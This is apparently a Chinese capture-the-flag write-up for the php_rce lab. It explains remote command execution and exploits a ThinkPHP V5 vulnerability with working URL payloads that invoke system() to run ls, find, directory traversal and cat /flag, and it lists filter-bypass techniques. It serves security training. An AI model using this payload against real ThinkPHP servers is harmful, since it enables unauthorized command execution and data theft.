题目来源:攻防世界 php_rce
目录
一、打开靶机,整理信息
这个界面有点奇怪,刷新几遍都没有问题,看过其他师傅的wp,发现是PHP框架的问题,所以就要寻找漏洞进行攻击
根据题目名称提示:php_rce,RCE远程命令执行
二、解题思路
step 1:PHP框架漏洞以及RCE漏洞信息
1.PHP常用框架
(1)小型项目:CodeIngiter
(2)中型项目:CakePHP、Zend Framework、Laravel、Thinkphp
(3)大型重量级项目:Yii、Symfony、Laravel
使用PHP框架优点:更快的开发效率、减少编写代码量、拥有常见任务库、遵循良好的编码习惯、漏洞更少、便于技术团队合作、易于维护
2.RCE远程命令执行
要点:RCE(remote command/code execute)。分为远程命令执行ping以及远程代码执行evel。漏洞出现的原因是没有在输入口做输入处理。我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
即RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或代码,从而控制后台系统。攻击者需要能进行ping操作的web界面,以及掌握能执行系统命令的函数、管道符、转义字符、注释符号、空格过滤、黑名单绕过(拼接绕过、单双引号绕过、编码绕过、反斜线、通配符绕过等)
step 2:根据靶机提示,寻找版本漏洞
首页显示的是ThinkPHP V5,去Github找一下这个版本的漏洞
复制第三条payload,进行url传参查询,得到如下回显
说明这里的确存在RCE漏洞
step 3:进行攻击
RCE是远程命令执行,本质还是命令执行,所以修改payload最后面,构造payload如下
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
得到如下回显
可以进一步查看信息了,进行查看index.php
step 4:寻找flag信息
方法一:find命令查找与flag相关文件
payload为
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag
得到回显
说明flag文件确实存在
方法二:以ls为核心进行目录穿越
payload为
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../
得到回显
同样可以看到flag信息
step 5:查询flag cat /flag
payload如下
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
得到flag
三、小结
1.要注意版本漏洞,GitHub上可以找到
2.远程命令执行也是命令执行的一种